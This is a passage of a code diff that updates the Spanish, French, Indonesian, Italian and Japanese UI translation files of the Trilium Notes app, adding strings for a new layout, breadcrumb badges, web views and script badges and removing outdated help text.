+    "new_layout_message": "Hemos introducido un diseño modernizado para Trilium. La cinta se ha eliminado y se ha integrado perfectamente en la interfaz principal, con una nueva barra de estado y secciones ampliables (como los atributos promovidos) que tienen funciones clave.\n\nEl nuevo diseño está habilitado por defecto, y puede ser deshabilitado temporalmente a través de Opciones → Apariencia.",
+    "new_layout_button": "Más información"
  },
  "ui-performance": {
    "title": "Rendimiento",
@@ -2100,14 +2149,16 @@
  },
  "settings_appearance": {
    "related_code_blocks": "Esquema de colores para bloques de código en notas de texto",
-    "related_code_notes": "Esquema de colores para notas de código"
+    "related_code_notes": "Esquema de colores para notas de código",
+    "ui": "Interfaz de usuario",
+    "ui_old_layout": "Antiguo diseño",
+    "ui_new_layout": "Nuevo diseño"
  },
  "units": {
    "percentage": "%"
  },
  "pagination": {
-    "total_notes": "{{count}} notas",
-    "page_title": "Página de {{startIndex}} - {{endIndex}}"
+    "total_notes": "{{count}} notas"
  },
  "presentation_view": {
    "edit-slide": "Editar este slide",
@@ -2148,7 +2199,12 @@
    "attributes_other": "{{count}} atributos",
    "note_paths_one": "{{count}} ruta",
    "note_paths_many": "{{count}} rutas",
-    "note_paths_other": "{{count}} rutas"
+    "note_paths_other": "{{count}} rutas",
+    "language_title": "Cambiar el idioma del contenido",
+    "note_info_title": "Ver información de la nota (p. e., fechas, tamaño de la nota)",
+    "attributes_title": "Atributos propios y atributos heredados",
+    "note_paths_title": "Rutas de nota",
+    "code_note_switcher": "Cambiar modo de idioma"
  },
  "pdf": {
    "attachments_one": "{{count}} adjunto",
@@ -2159,6 +2215,125 @@
    "layers_other": "{{count}} capas",
    "pages_one": "{{count}} página",
    "pages_many": "{{count}} páginas",
-    "pages_other": "{{count}} páginas"
+    "pages_other": "{{count}} páginas",
+    "pages_alt": "Página {{pageNumber}}",
+    "pages_loading": "Cargando..."
+  },
+  "experimental_features": {
+    "title": "Opciones experimentales",
+    "disclaimer": "Estas opciones son experimentales y pueden causar inestabilidad. Úselas con precaución.",
+    "new_layout_name": "Nuevo diseño",
+    "new_layout_description": "Pruebe el nuevo diseño para tener un aspecto más moderno y usabilidad mejorada. Sujeto a grandes cambios en las próximas versiones."
+  },
+  "popup-editor": {
+    "maximize": "Cambiar a editor completo"
+  },
+  "server": {
+    "unknown_http_error_title": "Error de comunicación con el servidor",
+    "unknown_http_error_content": "Código de estado: {{statusCode}}\nURL: {{method}} {{url}}\nMensaje: {{message}}",
+    "traefik_blocks_requests": "Si está usando el proxy inverso Traefik, este introdujo un cambio que afecta la comunicación con el servidor."
+  },
+  "tab_history_navigation_buttons": {
+    "go-back": "Volver a la nota anterior",
+    "go-forward": "Avanzar a la siguiente nota"
+  },
+  "breadcrumb": {
+    "hoisted_badge": "Anclada",
+    "hoisted_badge_title": "Desanclar",
+    "workspace_badge": "Espacio de trabajo",
+    "scroll_to_top_title": "Saltar al inicio de la nota",
+    "create_new_note": "Crear nueva subnota",
+    "empty_hide_archived_notes": "Ocultar notas archivadas"
+  },
+  "breadcrumb_badges": {
+    "read_only_explicit": "Sólo lectura",
+    "read_only_explicit_description": "Esta nota se ha fijado manualmente como sólo lectura.\nHaga clic para editarla temporalmente.",
+    "read_only_auto": "Sólo lectura automática",
+    "read_only_auto_description": "Esta nota se fijó automáticamente con el modo de sólo lectura por razones de rendimiento. Este límite automático es ajustable desde los ajustes.\n\nHaga clic para editarla temporalmente.",
+    "read_only_temporarily_disabled": "Temporalmente editable",
+    "read_only_temporarily_disabled_description": "Esta nota actualmente es editable, pero normalmente es de sólo lectura. La nota volverá a ser de sólo lectura tan pronto como navegue a otra nota.\n\nHaga clic para volver a habilitar el modo de sólo lectura.",
+    "shared_publicly": "Compartida públicamente",
+    "shared_locally": "Compartida localmente",
+    "shared_copy_to_clipboard": "Copiar enlace al portapapeles",
+    "shared_open_in_browser": "Abrir enlace en el navegador",
+    "shared_unshare": "Eliminar compartido",
+    "clipped_note_description": "Esta nota fue tomada originalmente de {{url}}.\n\nHaga clic para navegar a la página web de origen.",
+    "execute_script": "Ejecutar script",
+    "execute_script_description": "Esta nota es una nota de script. Haga clic para ejecutar el script.",
+    "execute_sql": "Ejecutar SQL",
+    "execute_sql_description": "Esta nota es una nota SQL. Haga clic para ejecutar la consulta SQL.",
+    "save_status_saved": "Guardado",
+    "save_status_saving": "Guardando...",
+    "save_status_unsaved": "Sin guardar",
+    "save_status_error": "Fallo al guardar",
+    "save_status_saving_tooltip": "Los cambios están siendo guardados.",
+    "save_status_unsaved_tooltip": "Hay cambios sin guardar. Se guardarán automáticamente en un momento.",
+    "save_status_error_tooltip": "Se produjo un error al guardar la nota. Si es posible, trate de copiar el contenido de la nota en otro lugar y recargar la aplicación.",
+    "clipped_note": "Clip web"
+  },
+  "attributes_panel": {
+    "title": "Atributos de nota"
+  },
+  "right_pane": {
+    "empty_message": "Nada que mostrar para esta nota",
+    "empty_button": "Ocultar el panel",
+    "toggle": "Alternar panel derecho",
+    "custom_widget_go_to_source": "Ir al código fuente"
+  },
+  "platform_indicator": {
+    "available_on": "Disponible en {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "{{count}} pestaña",
+    "title_many": "{{count}} pestañas",
+    "title_other": "{{count}} pestañas",
+    "more_options": "Más opciones"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Marcadores"
+  },
+  "web_view_setup": {
+    "title": "Crear una vista en vivo de una página web directamente en Trilium",
+    "url_placeholder": "Ingresar o pegar la dirección del sitio web, por ejemplo https://triliumnotes.org",
+    "create_button": "Crear Vista Web",
+    "invalid_url_title": "Dirección inválida",
+    "invalid_url_message": "Ingrese una dirección web válida, por ejemplo https://triliumnotes.org.",
+    "disabled_description": "Esta vista web fue importada de una fuente externa. Para ayudarlo a protegerse del phishing o el contenido malicioso, no se está cargando automáticamente. Puede activarlo si confía en la fuente.",
+    "disabled_button_enable": "Habilita vista web"
+  },
+  "render": {
+    "setup_title": "Mostrar HTML personalizado o Preact JSX dentro de esta nota",
+    "setup_create_sample_preact": "Crear nota de muestra con Preact",
+    "setup_create_sample_html": "Crear nota de muestra con HTML",
+    "setup_sample_created": "Se creó una nota de muestra como subnota.",
+    "disabled_description": "Esta nota de renderización proviene de una fuente externa. Para protegerlo de contenido malicioso, no está habilitado por defecto. Asegúrese de confiar en la fuente antes de habilitarla.",
+    "disabled_button_enable": "Habilitar nota de renderización"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "Paquete de iconos",
+    "type_backend_script": "Script de backend",
+    "type_frontend_script": "Script de frontend",
+    "type_widget": "Widget",
+    "type_app_css": "CSS personalizado",
+    "type_render_note": "Nota de renderización",
+    "type_web_view": "Vista web",
+    "type_app_theme": "Tema personalizado",
+    "toggle_tooltip_enable_tooltip": "Haga clic para habilitar este {{type}}.",
+    "toggle_tooltip_disable_tooltip": "Haga clic para deshabilitar este {{type}}.",
+    "menu_docs": "Abrir documentación",
+    "menu_execute_now": "Ejecutar script ahora",
+    "menu_run": "Ejecutar automáticamente",
+    "menu_run_disabled": "Manualmente",
+    "menu_run_backend_startup": "Cuando el backend inicia",
+    "menu_run_hourly": "Cada hora",
+    "menu_run_daily": "Diariamente",
+    "menu_run_frontend_startup": "Cuando el frontend de escritorio inicia",
+    "menu_run_mobile_startup": "Cuando el frontend móvil inicia",
+    "menu_change_to_widget": "Cambiar a widget",
+    "menu_change_to_frontend_script": "Cambiar a script de frontend",
+    "menu_theme_base": "Tema base"
+  },
+  "setup_form": {
+    "more_info": "Para saber más"
  }
 }
--- a/apps/client/src/translations/fr/translation.json
+++ b/apps/client/src/translations/fr/translation.json
@@ -1053,15 +1053,6 @@
    "default_new_note_title": "nouvelle note",
    "click_on_canvas_to_place_new_note": "Cliquez sur le canevas pour placer une nouvelle note"
  },
-  "render": {
-    "note_detail_render_help_1": "Cette note d'aide s'affiche car cette note de type Rendu HTML n'a pas la relation requise pour fonctionner correctement.",
-    "note_detail_render_help_2": "Le type de note Rendu HTML est utilisé pour les <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripts</a>. En résumé, vous disposez d'une note de code HTML (éventuellement contenant JavaScript) et cette note affichera le rendu. Pour que cela fonctionne, vous devez définir une <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relation</a> appelée \"renderNote\" pointant vers la note HTML à rendre."
-  },
-  "web_view": {
-    "web_view": "Affichage Web",
-    "embed_websites": "Les notes de type Affichage Web vous permet d'intégrer des sites Web dans Trilium.",
-    "create_label": "Pour commencer, veuillez créer un label avec l'adresse URL que vous souhaitez intégrer, par ex. #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Rafraîchir"
  },
@@ -2058,7 +2049,6 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Page de {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} notes"
  },
  "collections": {
--- a/apps/client/src/translations/ga/translation.json
+++ b/apps/client/src/translations/ga/translation.json
--- a/apps/client/src/translations/id/translation.json
+++ b/apps/client/src/translations/id/translation.json
@@ -12,7 +12,7 @@
  "toast": {
    "critical-error": {
      "title": "Eror kritikal",
-      "message": "Telah terjadi kesalahan kritis yang mencegah aplikasi klien untuk memulai:\n\n{{message}}\n\nHal ini kemungkinan besar disebabkan oleh skrip yang gagal secara tidak terduga. Coba jalankan aplikasi dalam mode aman dan atasi masalahnya."
+      "message": "Telah terjadi eror kritikal yang mencegah aplikasi klien untuk memulai:\n\n{{message}}\n\nHal ini kemungkinan besar disebabkan oleh skrip yang gagal secara tidak terduga. Coba jalankan aplikasi dalam mode aman dan atasi masalahnya."
    },
    "widget-error": {
      "title": "Gagal menginisialisasi widget",
@@ -36,7 +36,12 @@
  "add_link": {
    "add_link": "Tambah tautan",
    "help_on_links": "Bantuan pada tautan",
-    "note": "Catatan"
+    "note": "Catatan",
+    "search_note": "cari catatan berdasarkan nama",
+    "link_title_mirrors": "judul tautan mencerminkan judul catatan saat ini",
+    "link_title_arbitrary": "judul tautan dapat diubah secara bebas",
+    "link_title": "Judul tautan",
+    "button_add_link": "Tambah tautan"
  },
  "branch_prefix": {
    "edit_branch_prefix_multiple": "Edit prefiks cabang untuk {{count}} cabang",
@@ -45,7 +50,8 @@
    "save": "Simpan",
    "branch_prefix_saved": "Prefiks cabang telah disimpan.",
    "branch_prefix_saved_multiple": "Prefix cabang telah disimpan pada {{count}} cabang.",
-    "affected_branches": "Cabang terdampak ({{count}}):"
+    "affected_branches": "Cabang terdampak ({{count}}):",
+    "edit_branch_prefix": "Sunting awalan cabang"
  },
  "bulk_actions": {
    "bulk_actions": "Aksi borongan",
@@ -56,14 +62,18 @@
    "execute_bulk_actions": "Eksekusi aksi borongan",
    "bulk_actions_executed": "Aksi borongan telah di eksekusi dengan sukses.",
    "none_yet": "Belum ada... tambahkan aksi dengan memilih salah satu dari aksi di atas.",
-    "labels": "Label-label"
+    "labels": "Label-label",
+    "relations": "Hubungan",
+    "notes": "Catatan",
+    "other": "Lainnya"
  },
  "confirm": {
    "cancel": "Batal",
    "ok": "Oke",
    "are_you_sure_remove_note": "Apakah anda yakin mau membuang catatan \"{{title}}\" dari peta relasi? ",
    "if_you_dont_check": "Jika Anda tidak mencentang ini, catatan hanya akan dihapus dari peta relasi.",
-    "also_delete_note": "Hapus juga catatannya"
+    "also_delete_note": "Hapus juga catatannya",
+    "confirmation": "Konfirmasi"
  },
  "delete_notes": {
    "delete_notes_preview": "Hapus pratinjau catatan",
@@ -72,6 +82,19 @@
    "erase_notes_description": "Penghapusan normal hanya menandai catatan sebagai dihapus dan dapat dipulihkan (melalui dialog versi revisi) dalam jangka waktu tertentu. Mencentang opsi ini akan menghapus catatan secara permanen seketika dan catatan tidak akan bisa dipulihkan kembali.",
    "erase_notes_warning": "Hapus catatan secara permanen (tidak bisa dikembalikan), termasuk semua duplikat. Aksi akan memaksa aplikasi untuk mengulang kembali.",
    "notes_to_be_deleted": "Catatan-catatan berikut akan dihapuskan ({{notesCount}})",
-    "no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat)."
+    "no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat).",
+    "broken_relations_to_be_deleted": "Hubungan berikut akan diputus dan dihapus ({{ relationCount}})"
+  },
+  "clone_to": {
+    "clone_notes_to": "Duplikat catatan ke…",
+    "help_on_links": "Bantuan pada tautan",
+    "notes_to_clone": "Catatan untuk kloning",
+    "target_parent_note": "Sasaran catatan utama",
+    "search_for_note_by_its_name": "cari catatan berdasarkan namanya",
+    "cloned_note_prefix_title": "Catatan yang dikloning akan ditampilkan diruntutan catatan dengan awalan yang diberikan",
+    "prefix_optional": "Awalan (opsional)",
+    "clone_to_selected_note": "Salin ke catatan yang dipilih",
+    "no_path_to_clone_to": "Tidak ada jalur untuk digandakan.",
+    "note_cloned": "Catatan \"{{clonedTitle}}\" telah digandakan ke dalam \"{{targetTitle}}\""
  }
 }
--- a/apps/client/src/translations/it/translation.json
+++ b/apps/client/src/translations/it/translation.json
@@ -167,8 +167,8 @@
    "desktop-application": "Applicazione Desktop",
    "native-title-bar": "Barra del titolo nativa",
    "native-title-bar-description": "Su Windows e macOS, disattivare la barra del titolo nativa rende l'applicazione più compatta. Su Linux, attivarla si integra meglio con il resto del sistema.",
-    "background-effects": "Abilita effetti di sfondo (solo Windows 11)",
-    "background-effects-description": "L'effetto Mica aggiunge uno sfondo sfocato ed elegante alle finestre delle app, creando profondità e un aspetto moderno. La \"Barra del titolo nativa\" deve essere disattivata.",
+    "background-effects": "Abilita effetti di sfondo",
+    "background-effects-description": "Aggiunge uno sfondo sfocato ed elegante alle finestre dell'app, creando profondità e un look moderno. La \"barra del titolo nativa\" deve essere disabilitata.",
    "restart-app-button": "Riavviare l'applicazione per visualizzare le modifiche"
  },
  "note_autocomplete": {
@@ -186,7 +186,8 @@
  "geo-map": {
    "create-child-note-title": "Crea una nota figlia e aggiungila alla mappa",
    "create-child-note-instruction": "Clicca sulla mappa per creare una nuova nota qui o premi Escape per uscire.",
-    "unable-to-load-map": "Impossibile caricare la mappa."
+    "unable-to-load-map": "Impossibile caricare la mappa.",
+    "create-child-note-text": "Aggiungi indicatore"
  },
  "geo-map-context": {
    "open-location": "Apri la posizione",
@@ -325,7 +326,10 @@
    "apply-bulk-actions": "Applica azioni in blocco",
    "converted-to-attachments": "{{count}} note sono state convertite in allegati.",
    "convert-to-attachment-confirm": "Sei sicuro di voler convertire le note selezionate in allegati delle note principali? Questa operazione si applica solo alle note immagine, le altre note verranno ignorate.",
-    "open-in-popup": "Modifica rapida"
+    "open-in-popup": "Modifica rapida",
+    "open-in-a-new-window": "Apri in una nuova finestra",
+    "hide-subtree": "Nascondi sottostruttura",
+    "show-subtree": "Mostra sottoalbero"
  },
  "electron_context_menu": {
    "cut": "Taglia",
@@ -365,7 +369,8 @@
    "description": "Descrizione",
    "reload_app": "Ricarica l'app per applicare le modifiche",
    "set_all_to_default": "Imposta tutte le scorciatoie sui valori predefiniti",
-    "confirm_reset": "Vuoi davvero ripristinare tutte le scorciatoie da tastiera ai valori predefiniti?"
+    "confirm_reset": "Vuoi davvero ripristinare tutte le scorciatoie da tastiera ai valori predefiniti?",
+    "no_results": "Nessuna scorciatoia trovata corrispondente '{{filter}}'"
  },
  "shared_switch": {
    "toggle-on-title": "Condividi la nota",
@@ -419,7 +424,8 @@
    "unknown_search_option": "Opzione di ricerca sconosciuta {{searchOptionName}}",
    "search_note_saved": "La nota di ricerca è stata salvata in {{- notePathTitle}}",
    "actions_executed": "Le azioni sono state eseguite.",
-    "view_options": "Opzioni di visualizzazione:"
+    "view_options": "Opzioni di visualizzazione:",
+    "option": "opzione"
  },
  "modal": {
    "close": "Chiudi",
@@ -1238,7 +1244,8 @@
    "show-cheatsheet": "Mostra il foglietto illustrativo",
    "toggle-zen-mode": "Modalità Zen",
    "new-version-available": "Nuovo aggiornamento disponibile",
-    "download-update": "Ottieni la versione {{latestVersion}}"
+    "download-update": "Ottieni la versione {{latestVersion}}",
+    "search_notes": "Cerca note"
  },
  "zen_mode": {
    "button_exit": "Esci dalla modalità Zen"
@@ -1321,7 +1328,7 @@
    "button_title": "Esporta diagramma come SVG"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "Crea una nuova nota secondaria e aggiungila a questa mappa delle relazioni",
+    "create_child_note_title": "Crea una nota secondaria e aggiungila alla mappa",
    "reset_pan_zoom_title": "Ripristina panoramica e zoom alle coordinate e all'ingrandimento iniziali",
    "zoom_in_title": "Ingrandisci",
    "zoom_out_title": "Rimpicciolisci"
@@ -1337,7 +1344,9 @@
    "delete_this_note": "Elimina questa nota",
    "note_revisions": "Revisioni delle note",
    "error_cannot_get_branch_id": "Impossibile ottenere branchId per notePath '{{notePath}}'",
-    "error_unrecognized_command": "Comando non riconosciuto {{command}}"
+    "error_unrecognized_command": "Comando non riconosciuto {{command}}",
+    "backlinks": "Backlinks",
+    "content_language_switcher": "Lingua dei contenuti: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "Cambia icona nota",
@@ -1378,7 +1387,8 @@
    "expand_tooltip": "Espande i figli diretti di questa raccolta (a un livello di profondità). Per ulteriori opzioni, premere la freccia a destra.",
    "expand_first_level": "Espandi figli diretti",
    "expand_nth_level": "Espandi {{depth}} livelli",
-    "expand_all_levels": "Espandi tutti i livelli"
+    "expand_all_levels": "Espandi tutti i livelli",
+    "hide_child_notes": "Nascondi note secondarie nell'albero"
  },
  "edited_notes": {
    "no_edited_notes_found": "Nessuna nota modificata per questo giorno...",
@@ -1517,7 +1527,7 @@
    "no_attachments": "Questa nota non ha allegati."
  },
  "book": {
-    "no_children_help": "Questa raccolta non ha note secondarie, quindi non c'è nulla da visualizzare. Consulta la <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> per i dettagli.",
+    "no_children_help": "Questa raccolta non ha note secondarie, quindi non c'è nulla da visualizzare.",
    "drag_locked_title": "Bloccato per la modifica",
    "drag_locked_message": "Trascinamento non consentito poiché la raccolta è bloccata per la modifica."
  },
@@ -1573,15 +1583,6 @@
    "default_new_note_title": "nuova nota",
    "click_on_canvas_to_place_new_note": "Clicca sulla tela per inserire una nuova nota"
  },
-  "render": {
-    "note_detail_render_help_1": "Questa nota di aiuto viene visualizzata perché questa nota di tipo Render HTML non ha la relazione richiesta per funzionare correttamente.",
-    "note_detail_render_help_2": "Il tipo di nota HTML Render viene utilizzato per lo <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. In breve, si ottiene una nota in codice HTML (opzionalmente con un po' di JavaScript) che verrà visualizzata. Per farla funzionare, è necessario definire una <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relazione</a> denominata \"renderNote\" che punti alla nota HTML da visualizzare."
-  },
-  "web_view": {
-    "web_view": "Visualizzazione Web",
-    "embed_websites": "La nota di tipo Web View consente di incorporare siti web in Trilium.",
-    "create_label": "Per iniziare, crea un'etichetta con l'indirizzo URL che desideri incorporare, ad esempio #webViewSrc=\"https://www.google.com\""
-  },
  "vacuum_database": {
    "title": "Pulizia del database",
    "description": "Questa operazione ricostruirà il database, generando in genere un file di dimensioni inferiori. In realtà, nessun dato verrà modificato.",
@@ -1899,7 +1900,13 @@
    "clone-indicator-tooltip": "Questa nota ha {{- count}} genitori: {{- parents}}",
    "clone-indicator-tooltip-single": "Questa nota è stata clonata (1 genitore aggiuntivo: {{- parent}})",
    "shared-indicator-tooltip": "Questa nota è condivisa pubblicamente",
-    "shared-indicator-tooltip-with-url": "Questa nota è condivisa pubblicamente all'indirizzo: {{- url}}"
+    "shared-indicator-tooltip-with-url": "Questa nota è condivisa pubblicamente all'indirizzo: {{- url}}",
+    "subtree-hidden-tooltip_one": "{{count}} nota secondaria nascosta dall'albero",
+    "subtree-hidden-tooltip_many": "{{count}} note secondarie nascoste dall'albero",
+    "subtree-hidden-tooltip_other": "{{count}} note secondarie nascoste dall'albero",
+    "subtree-hidden-moved-title": "Aggiunto a {{title}}",
+    "subtree-hidden-moved-description-collection": "Questa raccolta nasconde le sue note secondarie nell'albero.",
+    "subtree-hidden-moved-description-other": "Le note secondarie sono nascoste nell'albero di questa nota."
  },
  "title_bar_buttons": {
    "window-on-top": "Mantieni la finestra in primo piano"
@@ -1913,7 +1920,9 @@
    "print_report_collection_content_many": "{{count}} le note nella raccolta non possono essere stampate perché non sono supportate o sono protette.",
    "print_report_collection_content_other": "{{count}} le note nella raccolta non possono essere stampate perché non sono supportate o sono protette.",
    "print_report_collection_details_button": "Vedi dettagli",
-    "print_report_collection_details_ignored_notes": "Note ignorate"
+    "print_report_collection_details_ignored_notes": "Note ignorate",
+    "print_report_error_title": "Impossibile stampare",
+    "print_report_stack_trace": "Traccia dello stack"
  },
  "note_title": {
    "placeholder": "scrivi qui il titolo della nota...",
@@ -1934,7 +1943,11 @@
    "configure_launchbar": "Configura Launchbar"
  },
  "sql_result": {
-    "no_rows": "Nessuna riga è stata restituita per questa query"
+    "no_rows": "Nessuna riga è stata restituita per questa query",
+    "not_executed": "La query non è stata ancora eseguita.",
+    "failed": "Esecuzione query SQL non riuscita",
+    "statement_result": "Risultato della dichiarazione",
+    "execute_now": "Esegui ora"
  },
  "watched_file_update_status": {
    "file_last_modified": "Il file <code class=\"file-path\"></code> è stato modificato l'ultima volta il <span class=\"file-last-modified\"></span>.",
@@ -2096,7 +2109,8 @@
    "raster": "Trama",
    "vector_light": "Vettore (Luce)",
    "vector_dark": "Vettore (scuro)",
-    "show-scale": "Mostra scala"
+    "show-scale": "Mostra scala",
+    "show-labels": "Mostra nomi dei marcatori"
  },
  "table_context_menu": {
    "delete_row": "Elimina riga"
@@ -2129,9 +2143,9 @@
    "next_theme_message": "Al momento stai utilizzando il tema legacy. Vuoi provare il nuovo tema?",
    "next_theme_button": "Prova il nuovo tema",
    "background_effects_title": "Gli effetti di sfondo sono ora stabili",
-    "background_effects_message": "Sui dispositivi Windows, gli effetti di sfondo sono ora completamente stabili. Gli effetti di sfondo aggiungono un tocco di colore all'interfaccia utente sfocando lo sfondo retrostante. Questa tecnica è utilizzata anche in altre applicazioni come Esplora risorse di Windows.",
+    "background_effects_message": "Su dispositivi Windows e macOS, gli effetti di sfondo sono ora stabili. Gli effetti di sfondo aggiungono un tocco di colore all'interfaccia utente sfocando lo sfondo dietro di essa.",
    "background_effects_button": "Abilita gli effetti di sfondo",
-    "dismiss": "Congedare",
+    "dismiss": "Chiudi",
    "new_layout_title": "Nuovo layout",
    "new_layout_message": "Abbiamo introdotto un layout modernizzato per Trilium. La barra multifunzione è stata rimossa e integrata perfettamente nell'interfaccia principale, con una nuova barra di stato e sezioni espandibili (come gli attributi promossi) che assumono le funzioni chiave.\n\nIl nuovo layout è abilitato di default e può essere temporaneamente disabilitato tramite Opzioni → Aspetto.",
    "new_layout_button": "Maggiori informazioni"
@@ -2150,7 +2164,6 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Pagina di {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} note"
  },
  "collections": {
@@ -2267,5 +2280,61 @@
    "pages_other": "{{count}} pagine",
    "pages_alt": "Pagina {{pageNumber}}",
    "pages_loading": "Caricamento in corso..."
+  },
+  "web_view_setup": {
+    "title": "Crea una visualizzazione live di una pagina web direttamente in Trilium",
+    "url_placeholder": "Inserisci o incolla l'indirizzo del sito web, ad esempio https://triliumnotes.org",
+    "create_button": "Crea vista Web",
+    "invalid_url_title": "Indirizzo non valido",
+    "invalid_url_message": "Inserisci un indirizzo web valido, ad esempio https://triliumnotes.org.",
+    "disabled_description": "Questa visualizzazione web è stata importata da una fonte esterna. Per proteggerti dal phishing o da contenuti dannosi, non viene caricata automaticamente. Puoi abilitarla se ritieni che la fonte sia affidabile.",
+    "disabled_button_enable": "Abilita visualizzazione web"
+  },
+  "platform_indicator": {
+    "available_on": "Disponibile su {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "Scheda {{count}}",
+    "title_many": "Schede {{count}}",
+    "title_other": "Schede {{count}}",
+    "more_options": "Altre opzioni"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Segnalibri"
+  },
+  "render": {
+    "setup_title": "Visualizza HTML personalizzato o Preact JSX all'interno di questa nota",
+    "setup_create_sample_preact": "Crea una nota di esempio con Preact",
+    "setup_create_sample_html": "Crea una nota di esempio con HTML",
+    "setup_sample_created": "È stata creata una nota di esempio come nota secondaria.",
+    "disabled_description": "Queste note di rendering provengono da una fonte esterna. Per proteggerti da contenuti dannosi, non sono abilitate per impostazione predefinita. Assicurati di fidarti della fonte prima di abilitarle.",
+    "disabled_button_enable": "Abilita nota di rendering"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "Pacchetto icone",
+    "type_backend_script": "Script di backend",
+    "type_frontend_script": "Script frontend",
+    "type_widget": "Widget",
+    "type_app_css": "CSS personalizzato",
+    "type_render_note": "Nota di rendering",
+    "type_web_view": "Visualizzazione web",
+    "type_app_theme": "Tema personalizzato",
+    "toggle_tooltip_enable_tooltip": "Clicca per abilitare questa funzione {{type}}.",
+    "toggle_tooltip_disable_tooltip": "Clicca per disattivare questa funzione {{type}}.",
+    "menu_docs": "Documentazione aperta",
+    "menu_execute_now": "Esegui lo script ora",
+    "menu_run": "Esegui automaticamente",
+    "menu_run_disabled": "Manualmente",
+    "menu_run_backend_startup": "Quando il backend si avvia",
+    "menu_run_hourly": "Ogni ora",
+    "menu_run_daily": "Giornaliero",
+    "menu_run_frontend_startup": "Quando si avvia il frontend desktop",
+    "menu_run_mobile_startup": "Quando si avvia il frontend mobile",
+    "menu_change_to_widget": "Passa al widget",
+    "menu_change_to_frontend_script": "Modifica allo script frontend",
+    "menu_theme_base": "Tema base"
+  },
+  "setup_form": {
+    "more_info": "Per saperne di più"
  }
 }
--- a/apps/client/src/translations/ja/translation.json
+++ b/apps/client/src/translations/ja/translation.json
@@ -81,7 +81,8 @@
    "configure_launchbar": "ランチャーバーの設定",
    "show_shared_notes_subtree": "共有ノートのサブツリーを表示",
    "new-version-available": "新しいアップデートが利用可能",
-    "download-update": "{{latestVersion}} をバージョンを入手"
+    "download-update": "{{latestVersion}} をバージョンを入手",
+    "search_notes": "検索ノート"
  },
  "left_pane_toggle": {
    "show_panel": "パネルを表示",
@@ -234,7 +235,8 @@
    "search_note_saved": "検索ノートが {{- notePathTitle}} に保存されました",
    "actions_executed": "アクションが実行されました。",
    "ancestor": "祖先:",
-    "view_options": "表示オプション:"
+    "view_options": "表示オプション:",
+    "option": "オプション"
  },
  "shortcuts": {
    "multiple_shortcuts": "同じアクションに対して複数のショートカットを設定する場合、カンマで区切ることができます。",
@@ -247,7 +249,8 @@
    "reload_app": "リロードして変更を適用する",
    "set_all_to_default": "すべてのショートカットをデフォルトに戻す",
    "confirm_reset": "キーボードショートカットをすべてデフォルトにリセットしますか？",
-    "keyboard_shortcuts": "キーボードショートカット"
+    "keyboard_shortcuts": "キーボードショートカット",
+    "no_results": "'{{filter}}' に一致するショートカットが見つかりません"
  },
  "confirm": {
    "confirmation": "確認",
@@ -407,7 +410,7 @@
  "relation_map_buttons": {
    "zoom_out_title": "ズームアウト",
    "zoom_in_title": "ズームイン",
-    "create_child_note_title": "新しい子ノートを作成し、関連マップに追加",
+    "create_child_note_title": "子ノートを作成し、マップに追加",
    "reset_pan_zoom_title": "パンとズームを初期座標と倍率にリセット"
  },
  "tree-context-menu": {
@@ -824,11 +827,6 @@
    "error_no_path": "移動するパスがありません。",
    "move_success_message": "選択したノートは以下に移動されました "
  },
-  "web_view": {
-    "web_view": "Web ビュー",
-    "embed_websites": "Web ビュータイプでは、web サイトを Trilium に埋め込むことができます。",
-    "create_label": "まず始めに、埋め込みたいURLアドレスのラベルを作成してください。例: #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "リフレッシュ"
  },
@@ -1648,7 +1646,9 @@
    "error_unrecognized_command": "認識されないコマンド {{command}}",
    "insert_child_note": "子ノートを挿入",
    "error_cannot_get_branch_id": "ノートパス 「{{notePath}} のbranchIdを取得できません",
-    "note_revisions": "ノートの変更履歴"
+    "note_revisions": "ノートの変更履歴",
+    "backlinks": "バックリンク",
+    "content_language_switcher": "コンテンツの言語: {{language}}"
  },
  "inherited_attribute_list": {
    "title": "継承属性",
@@ -1757,8 +1757,8 @@
    "desktop-application": "デスクトップアプリケーション",
    "native-title-bar": "ネイティブタイトルバー",
    "native-title-bar-description": "WindowsとmacOSでは、ネイティブタイトルバーをオフにしておくと、アプリケーションがよりコンパクトに見えます。Linuxでは、ネイティブタイトルバーを表示したままの方が、他のシステムとの統一性が高まります。",
-    "background-effects": "背景効果を有効化（Windows 11のみ）",
-    "background-effects-description": "Mica効果は、アプリのウィンドウにぼかされたスタイリッシュな背景を追加し、奥行きとモダンな外観を演出します。「ネイティブタイトルバー」を無効にする必要があります。",
+    "background-effects": "背景効果を有効化",
+    "background-effects-description": "アプリウィンドウにぼかしの効いたスタイリッシュな背景を追加し、奥行きとモダンな外観を演出します。「ネイティブタイトルバー」を無効にする必要があります。",
    "restart-app-button": "アプリケーションを再起動して変更を反映",
    "zoom-factor": "ズーム倍率"
  },
@@ -1860,10 +1860,6 @@
    "protecting-title": "保護の状態",
    "unprotecting-title": "保護解除の状態"
  },
-  "render": {
-    "note_detail_render_help_1": "このヘルプノートが表示されるのは、このノートの「HTML のレンダリング」タイプには、正常に機能するために必要なリレーションがないためです。",
